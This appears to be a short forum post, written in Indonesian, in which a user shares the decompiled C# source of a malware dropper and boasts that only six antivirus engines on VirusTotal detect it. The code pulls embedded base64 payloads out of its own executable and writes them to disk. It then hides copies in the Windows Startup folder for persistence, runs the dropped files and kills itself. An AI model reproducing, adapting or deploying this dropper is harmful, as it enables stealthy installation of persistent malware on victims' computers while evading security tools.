[devilscream]

https://www.virustotal.com/en/file/4eec4.../analysis/

itu hasil Scan dari dropper virus ini xD , cuman 6 antivirus yang mendeteksi

Code:

[MethodImpl(MethodImplOptions.NoInlining)]
private static void Method4()
{
    string text = File.ReadAllText(Process.GetCurrentProcess().MainModule.FileName);
    string text2 = "<description>";
    string text3 = "</description>";
    string expression = Class2.Method1(Class3.Method3(ref text, ref text2, ref text3));
    Class3.Field1 = Strings.Split(expression, "\\\\", -1, CompareMethod.Binary);
    for (int i = 0; i <= Class3.Field1.Length - 1; i++)
    {
        if (!string.IsNullOrEmpty(Class3.Field1[i]))
        {
            try
            {
                string[] array = Strings.Split(Class3.Field1[i], "||", -1, CompareMethod.Binary);
                string s = array[0];
                string text4 = Interaction.Environ(array[1]) + "\\" + array[2];
                string a = array[3];
                string a2 = array[4];
                int millisecondsTimeout = Convert.ToInt32(array[5]) * 1000;
                if (File.Exists(text4))
                {
                    File.Delete(text4);
                }
                File.WriteAllBytes(text4, Class3.Method1(Convert.FromBase64String(s)));
                if (a2 == "True")
                {
                    string text5 = Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + array[2];
                    if (File.Exists(text5))
                    {
                        File.Delete(text5);
                    }
                    File.Copy(text4, text5);
                    File.SetAttributes(text5, FileAttributes.Hidden);
                }
                Thread.Sleep(millisecondsTimeout);
                if (a == "Yes")
                {
                    Process.Start(text4);
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.ToString());
            }
        }
    }
    Process.GetCurrentProcess().Kill();
}